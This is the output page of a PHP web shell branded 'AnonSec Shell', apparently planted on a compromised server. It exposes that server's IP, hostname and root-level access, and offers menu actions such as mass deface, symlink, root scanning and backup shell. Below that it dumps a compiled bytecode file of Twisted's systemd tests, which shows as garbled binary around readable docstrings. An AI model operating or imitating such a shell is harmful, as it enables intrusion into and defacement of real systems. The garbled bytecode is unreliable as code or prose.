AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/python/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/python/test/__pycache__/test_systemd.cpython-310.pyc
o

�b��@szdZddlZddlmZddlmZGdd�d�ZGdd�d�ZGd	d
�d
�ZGdd�deee�Z	Gd
d�deee�Z
dS)z&
Tests for L{twisted.python.systemd}.
�N)�	ListenFDs)�TestCasec@� eZdZdZdd�Zdd�ZdS)�InheritedDescriptorsMixinz�
    Mixin for a L{TestCase} subclass which defines test methods for some kind of
    systemd sd-daemon class.  In particular, it defines tests for a
    C{inheritedDescriptors} method.
    cCs$|�dd�}|�gd�|���dS)z�
        C{inheritedDescriptors} returns a list of integers giving the file
        descriptors which were inherited from systemd.
        ��)r��	N��	getDaemon�assertEqual�inheritedDescriptors��self�sddaemon�r�B/usr/lib/python3/dist-packages/twisted/python/test/test_systemd.py�test_inheritedDescriptorssz3InheritedDescriptorsMixin.test_inheritedDescriptorscCs$|�dd�}|�|��|���dS)zW
        Any subsequent calls to C{inheritedDescriptors} return the same list.
        rrNr
rrrr�
test_repeateds�z'InheritedDescriptorsMixin.test_repeatedN)�__name__�
__module__�__qualname__�__doc__rrrrrrrsrc@seZdZdZdd�ZdS)�MemoryOnlyMixinz�
    Mixin for a L{TestCase} subclass which creates creating a fake, in-memory
    implementation of C{inheritedDescriptors}.  This provides verification that
    the fake behaves in a compatible way with the real implementation.
    cCstt|||��S)a
        Invent C{count} new I{file descriptors} (actually integers, attached to
        no real file description), starting at C{start}.  Construct and return a
        new L{ListenFDs} which will claim those integers represent inherited
        file descriptors.
        )r�range)r�start�countrrrr/szMemoryOnlyMixin.getDaemonN)rrrrrrrrrr(src@r)�EnvironmentMixinaV
    Mixin for a L{TestCase} subclass which creates a real implementation of
    C{inheritedDescriptors} which is based on the environment variables set by
    systemd.  To facilitate testing, this mixin will also create a fake
    environment dictionary and add keys to it to make it look as if some
    descriptors have been inherited.
    cCs&tj��}t|�|d<t|�|d<|S)z�
        Create a copy of the process environment and add I{LISTEN_FDS} and
        I{LISTEN_PID} (the environment variables set by systemd) to it.
        �
LISTEN_FDS�
LISTEN_PID)�os�environ�copy�str)rr�pid�resultrrr�initializeEnvironmentBs
z&EnvironmentMixin.initializeEnvironmentcCs|�|t���}tj||d�S)a

        Create a new L{ListenFDs} instance, initialized with a fake environment
        dictionary which will be set up as systemd would have set it up if
        C{count} descriptors were being inherited.  The descriptors will also
        start at C{start}.
        )r!r)r&r �getpidr�fromEnvironment)rrr�fakeEnvironmentrrrrLszEnvironmentMixin.getDaemonN)rrrrr&rrrrrr9s
rc@seZdZdZdS)�MemoryOnlyTestszb
    Apply tests to L{ListenFDs}, explicitly constructed with some fake file
    descriptors.
    N)rrrrrrrrr*Wsr*c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�EnvironmentTestszV
    Apply tests to L{ListenFDs}, constructed based on an environment dictionary.
    cCsV|�dt���}tj|d�}tj|d�}|�ttdd��|���|�g|���dS)zV
        Only a single L{Environment} can extract inherited file descriptors.
        r�r!�N)	r&r r'rr(r�listrr
)rr)�first�secondrrr�test_secondEnvironmentcs
z'EnvironmentTests.test_secondEnvironmentcCs4|�dt��d�}tj|d�}|�g|���dS)z�
        If the current process PID does not match the PID in the environment, no
        inherited descriptors are reported.
        r�r,N�r&r r'rr(rr
�rr)rrrr�test_mismatchedPIDmsz#EnvironmentTests.test_mismatchedPIDcC�6|�dt���}|d=tj|d�}|�g|���dS)zz
        If the I{LISTEN_PID} environment variable is not present, no inherited
        descriptors are reported.
        rrr,Nr3r4rrr�test_missingPIDVariablev�z(EnvironmentTests.test_missingPIDVariablecCs,|�dd�}tj|d�}|�g|���dS)z�
        If the I{LISTEN_PID} environment variable is set to a string that cannot
        be parsed as an integer, no inherited descriptors are reported.
        r�hello, worldr,N)r&rr(rr
r4rrr�test_nonIntegerPIDVariable�sz+EnvironmentTests.test_nonIntegerPIDVariablecCr6)zz
        If the I{LISTEN_FDS} environment variable is not present, no inherited
        descriptors are reported.
        rrr,Nr3r4rrr�test_missingFDSVariable�r8z(EnvironmentTests.test_missingFDSVariablecCs0|�dt���}tj|d�}|�g|���dS)z�
        If the I{LISTEN_FDS} environment variable is set to a string that cannot
        be parsed as an integer, no inherited descriptors are reported.
        r9r,Nr3r4rrr�test_nonIntegerFDSVariable�sz+EnvironmentTests.test_nonIntegerFDSVariablecCsB|�tdtt���dd��t��}|�ttdd��|�	��dS)z�
        If the process environment is not explicitly passed to
        L{Environment.__init__}, the real process environment dictionary is
        used.
        r!�5)rrrrN)
�patchr r#r'rr(rr.rr
rrrr�test_defaultEnviron�sz$EnvironmentTests.test_defaultEnvironN)rrrrr1r5r7r:r;r<r?rrrrr+^s
	
	
	r+)rr �twisted.python.systemdr�twisted.trial.unittestrrrrr*r+rrrr�<module>s

Anon7 - 2022
AnonSec Team